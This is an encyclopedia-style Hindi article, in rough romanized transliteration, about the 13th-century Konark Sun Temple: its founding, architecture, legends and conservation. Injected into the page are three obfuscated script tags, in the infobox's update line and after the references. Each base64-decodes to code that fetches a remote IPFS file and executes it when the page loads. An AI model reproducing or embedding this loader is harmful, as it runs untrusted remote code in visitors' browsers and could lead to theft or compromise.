सूर्य मंदिर कोणार्क
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| chitr:Disamb2.jpg soory mandir | ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- soory mandir (bahuvikalpi) |
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soory mandir konark
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| vivaran | konark ka soory mandir aantarrashtriy paryatan sthal hai. soory grahan ke samay vishv star ke khagol shastri yahaan ekatrit hote haian. |
| rajy | u disa |
| zila | puri |
| nirmata | narasimha dev pratham |
| nirman kal | terahavian shatabdi |
| bhaugolik sthiti | uttar- 19.887444°, poorv- 86.094596° |
| marg sthiti | soory mandir konark se 1.2 kimi ki doori par sthit hai. |
| prasiddhi | 'sooryamandir' bharat ka ikalauta soory mandir hai jo poori duniya mean apani bhavyata aur banavat ke lie jana jata hai. yah vishhv virasat shthal soochi mean bhi shamil hai. |
| kab jaean | navambar se aprail |
| kaise pahuanchean | bas, rel, havaee jahaz adi se pahuancha ja sakata hai. |
| havaee adda | bhuvaneshvar havaee adda |
| relave steshan | puri relave steshan |
| bas adda | konark bas adda |
| yatayat | taiksi, jip, aauto riksha, riksha |
| kya dekhean | maya devi mandir, vaishnav mandir, ramachandi mandir adi |
| kahaan thaharean | hotal, atithi grah, dharmashala |
| es.ti.di. kod | 06758 |
| e.ti.em | lagabhag sabhi |
| chitr:Map-icon.gif | googal manachitr |
| any janakari | soory mandir ke nirman mean 1200 kushal shilpiyoan ne 12 sal tak lagatar kam kiya. |
| bahari k diyaan | soory mandir |
| adyatan | 15:15, 11 navambar 2011 (IST) <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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konark ka soory mandir bharat ke u disa rajy ke puri zile ke konark namak qasbe mean sthit hai. soory mandir apane nirman ke 750 sal bad bhi apani advitiyata, vishalata v kalatmak bhavyata se har kisi ko niruttar kar deta hai. vastav mean jise ham konark ke soory mandir ke roop mean pahachanate haian, vah parshv mean bane us soory mandir ka jagamohan ya mahamandap hai, jo ki bahut pahale dhvast ho chuka hai. konark ka soory mandir ko aangrezi mean blaik paigoda bhi kaha jata hai.
- puravid v vastukar mandir ki sanrachana, moortishilp v pattharoan par ukeri akritiyoan ko vaijnanik, takaniki v tarkik kasauti par kasane ke bad tathyoan ko duniya ke samane rakhate rahe haian aur yah kram lagatar jari hai. baharahal is mahamandap ya jagamohan ki viratata v bhagn ho chuke mukhy mandir ke adhar par utkirn sajja se hi ise yoonesko ke vishv virasat sthal ki pahachan mili hai.
- bharat se hi nahian balki duniya bhar se lakhoan paryatak isako dekhane konark ate haian. konark mean bani is bhavy kriti ko mahaj dekhakar samajhana kathin hai ki yah kaise bani hogi. ise dekhane ka anand tabhi hai jab isake itihas ki prishthabhoomi mean jakar ise dekha jae.
sthapana
soory mandir ko gang vansh ke raja narasimha dev pratham ne lagabhag 1278 ee. mean banavaya tha. kaha jata hai ki ye mandir apani poorv nirdharit abhikalpana ke adhar par nahian banaya ja saka. mandir ke bhari guanbad ke hisab se isaki nianv nahian bani thi. yahaan ke sthaniy logoan ki manean to ye gumbad mandir ka hissa tha par isaki chumbakiy shakti ki vajah se jab samudri pot durghatanagrast hone lage, tab ye gumbad hataya gaya. shayad isi vazah se is mandir ko blaik paigoda bhi kaha jata hai.
vastu rachana
sthan chayan se lekar mandir nirman samagri ki vyavastha aur moortiyoan ke nirman ke lie b di yojana ko roop diya gaya. chooanki us kal mean nirman vastushastr ke adhar par hi hota tha, isalie mandir nirman mean bhoomi se lekar sthan v din chayan mean nirdharit niyamoan ka palan kiya gaya. isake nirman mean 1200 kushal shilpiyoan ne 12 sal tak lagatar kam kiya. shilpiyoan ko nirdesh the ki ek bar nirman arambh hone par ve anyatr n ja sakeange. nirman sthal mean nirman yogy pattharoan ka abhav tha. isalie sambhavataya nirman samagri nadi marg se yahaan par laee gee. ise mandir ke nikat hi tarasha gaya. pattharoan ko sthirata pradan karane ke lie jangarahit lohe ke qabzoan ka prayog kiya gaya. isamean pattharoan ko is prakar se tarasha gaya ki ve is prakar se baithean ki jo doan ka pata n chale.
sooryamandir bharat ka ikalauta soory mandir hai jo poori duniya mean apani bhavyata aur banavat ke lie jana jata hai. soory mandir u disa ki rajadhani bhuvaneshvar se 65 kilomitar door konark mean apane samay ki utkrisht vastu rachana hai. poorvi gang vansh ke raja narasianh dev pratham ne soory mandir ko terahavian shatabdi mean banavaya tha. prachin u diya sthapaty kala ka yah mandir bejo d udaharan hai. soory mandir ki rachana is tarah se ki gee hai ki yah sabhi ko akarshit karati hai. soory ko oorja, jivan aur jnan ka pratik mana jata hai. soory devata ki sabhi sanskritiyoan mean pooja ki jati rahi hai. soory ki is mandir mean manaviy akar mean moorti hai jo any kahian nahian hai.
is mandir ko dekhakar aisa pratit hota hai ki apane sat gho de vale rath par virajaman soory dev abhi-abhi kahian prasthan karane vale haian. yah moorti soory mandir ki sabase bhavy mootiyoan mean se ek hai. soory ki char patniyaan rajani, nikshubha, chhaya aur suvarchasa moorti ke donoan taraf haian. soory ki moorti ke charanoan ke pas hi rath ka sarathi arun bhi upasthit hai.
konark ka arth
konark shabd, 'kon' aur 'ark' shabdoan ke mel se bana hai. ark ka arth hota hai soory jabaki kon se abhipray kone ya kinare se raha hoga. konark ka soory mandir puri ke uttar poorvi kinare par samudr tat ke qarib nirmit hai.
nirman sambandhi anushrutiyaan
mukhy mandir ki sanrachana ko lekar anek kahaniyaan prachalit haian. kaha jata hai ki jahaan par mukhy mandir tha, usake garbhagrih mean sooryadev ki moorti oopar v niche chumbakiy prabhav ke karan hava mean dolit hoti thi. prat: soory ki kiranean rangashala se hote hue vartaman mean maujood jagamohan se hote hue kuchh der ke lie garbhagrih mean sthit moorti par p dati thian. samudr ka tat us samay mandir ke samip hi tha, jahaan b di naukaoan ka avagaman hota rahata tha. aksar chumbakiy prabhav ke karan naukaoan ke disha mapak yantr disha ka jnan nahian kara pate the. isalie in chumbakoan ko hata diya gaya aur mandir asthir hone se dhvast ho gaya. isaki khyati uttar mean jab mugaloan tak pahuanchi to unhoanne ise nasht karane mean koee kasar nahian chho di. 16vian sadi ke madhy mean mugal akramanakari kalapaha d ne isake amalak ko nuqasan pahuanchaya v kee moortiyoan ko khandit kiya, jisake karan mandir ka parityag kar diya gaya. isase huee upeksha ke karan isaka ksharan hone laga. kuchh vidvan mukhy mandir ke tootane ka karan isaki vishalata v dijain mean dosh ko batate haian.
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konark jahaan pattharoan ki bhasha manushy ki bhasha se shreshthatar hai.
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kala ka adbhut sauandary
[[chitr:A-View-Of-Sun-Temple-Konark.jpg|thumb|250px|soory mandir, konark]] konark u disa ki prachin vastushaili ka vishisht mandir hai, jisamean mandir mean mukhy mandir, mahamandap, rangashala v sata bhogamandap hote the. inamean se zyadatar mean jagamohan v mukhy mandir ek sath ju de hote the. konark mandir mean tho di bhinnata hai. yahaan par jagamohan v mukhy mandir sate the. poorv mean sthit pravesh dvar ke bad natyamandap haian. dvar par donoan or do vishalakay sianh ek hathi ko daboche haian. natyamandap par stambhoan ko tarash kar vibhinn akritiyoan se sajjit kiya gaya hai. mandir ka bhogoandap mandir se prithakh nirmit hai. mukhy soory mandir mean mahamandap v mukhy mandir ju de the, jabaki bhogamandap rath se prithakh tha.
mandir ki visheshata
mandir ko rath ka svaroop dene ke lie mandir ke adhar par donoan or ek jaise patthar ke 24 pahie banae ge. pahiyoan ko khianchane ke lie 7 gho de banae ge. in pahiyoan ka vyas tin mitar hai. mandir ke dijayan v aankaran mean us samay ke samajik v saanskritik parivesh ka dhyan rakha gaya. adhar ki bahari divar par lage pattharoan par vibhinn akritiyoan ko is prakar se ukera gaya ki ve jivant lagean. inamean kuchh sthanoan par khajuraho ki tarah kamatur akritiyaan to kahian par nari sauandary, mahila v purush vadakoan v nartakiyoan ki vibhinn bhav-bhangimaoan ko ukera gaya.
isake alava isamean manav, pe d-paudhoan, jiv-jantuoan ke sath pushpiy v jyamitiy aankaran haian. mandir ka mahamandap chabootare sahit kul 39 mitar hai. isaki vishalata se mukhy mandir ki ooanchaee ka anuman lagaya ja sakata hai, jo sambhavataya liangaraj v puri se bhavy raha hoga. puratattvavetta mahamandap ke pichhe is rekha mandir ya urdhv mandir ki ooanchaee 65 mitar tak manate haian. is bhagn mandir ke ek or sadhe tin mitar ooanchi sooryadev ki moorti behad akarshak haian. is mandir ki moortiyaan leharait, klorait aur khondolait nam ke pattharoan se banaee gee haian. kornak mean ye patthar nahian pae jate, isalie yah anuman lagaya jata hai ki narasianh dev ne ise bahar se mangavaya hoga. is mandir ke tin hisse haian-
- nrityamandir
- jagamohan
- garbhagrih.
[[chitr:Sun-Temple-Konark-3.jpg|thumb|left|250px|soory mandir, konark]] mandir ka mahamandap behad akarshak hai, jisaka shirsh piramid ke akar ka hai. isamean vibhinn staroan par soory, chandr, mangal, budh, shani adi nakshatroan ki pratimaean haian. isake oopar vishal amalak hai. samip hi soory ki patni mayadevi v vaishnav mandir khandit avastha mean hai. samip mean bhogamandap tha. ek navagrah mandir bhi yahaan par hai.
naty shala
jaise hi is mandir ke poorvi pravesh dvar se ap ghuseange to samane ek naty shala dikhaee deti hai jisaki oopari chhat ab nahian hai. 'konark nrityotsav' ke samay har sal yahaan desh ke nami kalakar apani pratibha ka pradarshan karate hai.
manyataean
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sooryamandir ke nirman mean 1200 kushal shilpiyoan ne 12 sal tak lagatar kam kiya. shilpiyoan ko nirdesh the ki ek bar nirman arambh hone par ve anyatr n ja sakeange. nirman sthal mean nirman yogy pattharoan ka abhav tha. isalie sambhavataya nirman samagri nadi marg se yahaan par laee gee. ise mandir ke nikat hi tarasha gaya. pattharoan ko sthirata pradan karane ke lie jangarahit lohe ke qabzoan ka prayog kiya gaya. isamean pattharoan ko is prakar se tarasha gaya ki ve is prakar se baithean ki jo doan ka pata n chale.
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konark ke adhyatmik mahattv, vartaman mandir ki sthapana, isake parityag karane se lekar, mukhy mandir ke dhvast hone ke bare mean anekanek manyataean aur anushrutiyaan haian. mandir ke sambandh mean kee batean ab bhi itihas ke garbh mean haian. isalie kee batoan se vidvatajan ekamat nahian haian. skandapuran mean konark ki pahachan mean sooryakshetr, brahm puran mean konadity, kapi sanhita mean ravi kshetr, bhambapuran mean mitravan v prachin mahatyam mean arkatirth adi namoan se ki gee hai. vahian nikat mean ek soory mandir tha. puranoan mean varnit mitravan v chandrabhaga ki pahachan ke bare mean alag-alag tark haian. kuchh log ise pakistan ke multan mean batate haian, jisaka prachin nam bhambapura tha aur yahian se chinab ya chandrabhaga guzarati hai. udhar konark mean bhambapura to nahian hai kintu mandir se 2 kilomitar door chandrabhaga ka tat hai, jahaan par magh mah ki saptami ko vishal mela lagata hai. gang naresh narasianh dev ne soory mandir ka hi nirman kyoan karavaya, ise lekar anek manyataean haian.
barah mahine ke pratik chakr
divar par mandir ke bahar bane vishalakay chakr paryatakoan ka dhyan khianch lete haian. har chakr ka vyas tin mitar se zyada hai. chakroan ke niche hathiyoan ke samooh ko behad bariki se ukera gaya hai. soory devata ke rath ke chabootare par barah jo di chakr haian, jo sal ke barah mahine ke pratik haian.
khoj v sanrakshan
1806 mean jab isaka pata chala to us samay yah sthan charoan or pe doan v jha diyoan se ghira v ret se dhaka tha. 1838 mean eshiyatik sosaiti ne pahali bar isake sanrakshan ki bat uthaee. yahaan se jangal, jha diyoan v ret ko hataya gaya. ek bat achchhi rahi ki dabe hone se mandir atataiyoan se surakshit raha. us samay mandir ka jagamohan surakshit tha, jabaki mukhy mandir ka pichhala hissa dhvast avastha mean tha aur charoan or khandit mandir ke pattharoan ki bahulata thi. 1900 mean yahaan par vastavik sanrakshan karane ka prayas hua. khandit hissoan ko purani sanrachana ke anusar sanrakshit karane ka prayas kiya gaya. mahamandap jo ki girane ki halat mean tha, ko bachane ke lie dararoan ko pata gaya. isake lie mahamandap ke antarik bhag ko pattharoan se bhar diya gaya. shesh donoan or ke daravaze bhi chinaee karake band kar diye gaye. is par lage pattharoan ka rasayanik upachar karake mandir ke svaroop ko nikhara gaya. sanrakshan ka kam kee saloan tak chala. 20vian sadi ke madhy mean ise bharatiy puratattv sarvekshan ke adhin kar diya gaya. any samagri ko lekar nikat ek sangrahalay banaya gaya. 1984 ke bad ise vishv virasat sthal ghoshit kiya gaya. [[chitr:Katarmal-Sun-Temple-Almora-Uttarakhand.jpg|thumb|250px|kataramal soory mandir, almo da]] pauranik bharat ke alag-alag prantoan mean dharmik utsavoan ke dauran shobhayatra mean dev moortiyoan ko lak di ke bane rath par saza kar shraddhaluoan ke bich mean le jaya jata tha. isilie yah mana jata hai ki soory ke is mandir ko rath ka roop de diya gaya hoga.[1]
any soory mandir
konark ke atirikt ek any soory mandir uttarakhand ke almo da mean kataramal namak sthan par bhi sthit hai. is karan ise 'kataramal soory mandir' kaha jata hai. yah soory mandir n sirf samooche kumaooan mandal ka sabase vishal, ooancha aur anootha mandir hai, balki u disa ke 'konark soory mandir' ke bad ekamatr prachin soory mandir bhi hai.
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vithika
- chitr:Sun-Temple-Konark-4.jpg
soory mandir, konark
- chitr:Sun-Temple-Konark-13.jpg
soory mandir, konark (1847)
- chitr:Sun-Temple-Konark-14.jpg
soory mandir, konark (1869)
- chitr:Sun-Temple-Konark-15.jpg
soory mandir, konark (1928)
- chitr:Sun-Temple-Konark-5.jpg
soory mandir, konark
- chitr:Sun-Temple-Konark-6.jpg
soory mandir, konark
- chitr:Sun-Temple-at-Konark-1.jpg
soory mandir, konark
- chitr:Sun-Temple-Konark-7.jpg
soory mandir, konark
- chitr:Sun-Temple-Konark-8.jpg
soory mandir, konark
- chitr:Sun-God-Sun-Temple-Konark-9.jpg
soory mandir, konark
- chitr:Sun-Temple-Konark-10.jpg
soory mandir, konark
- chitr:Sun-Temple-Konark-11.jpg
soory mandir, konark
- chitr:Sun-Temple-Konark-12.jpg
soory mandir, konark
- chitr:Sun-God-Sun-Temple-Konark-13.jpg
soory mandir, konark
- chitr:Sun-Temple-Gate-Konark.jpg
soory mandir, konark
- chitr:Sun-Temple-at-Konark.jpg
soory mandir, konark
tika tippani aur sandarbh
- ↑ soory ke divy rath ka pratik hai kornak sooryamandir (hindi) adhi abadi d aaut k aaum. abhigaman tithi: 15 sitanbar, 2010.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
sanbandhit lekh
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varnamala kramanusar lekh khoj
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